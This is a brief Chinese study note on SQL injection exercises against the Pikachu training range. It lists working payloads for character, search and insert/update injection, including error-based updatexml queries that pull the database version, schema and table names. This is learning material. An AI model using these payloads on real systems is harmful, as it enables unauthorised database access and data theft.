SQL注入步骤:
1、使用 ' 进行测试
2、使用order by 测试有几个字段
3、使用union select 1,2 查看字段
一、字符型注入
pikachu靶场字符型:
1' union select 1,2#
1' union select 1,2'
二、搜索型注入
pikachu靶场搜索型:
a%' order by 3#
使用 ' 出现语法错误,提示有%
使用%![](https://img-blog.csdnimg.cn/b17a9915fb414e80bf46437f8606f1e9.png)
证明格式没有出错
检测有几个字段
出错证明字段没有5个
成功:![](https://img-blog.csdnimg.cn/07f462164274483da296fa17d458a5d2.png)
三、XX型注入
pikachu靶场xx型:') order by 2--+
输入' 进行测试
发现出现语法错误,在输入其他符号进行测试
成功:(不报语法错误)
使用order by 测试有几个字段
抓包,在brup上进行URL编码:
四、insert/update注入:(表单提交)
获取版本号:
admin' or updatexml(2,concat(0x7e,(version())),0) or '
获取库名:123'and updatexml(2,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),0),2,3,4,5,6#
获取表名:
123'and updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 3,1)),0),2,3,4,5,6)#
updatexml:遇到错误会抛出
concat:拼接多个字符串
报错注入常用函数:updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml document,XPathstring,new_value)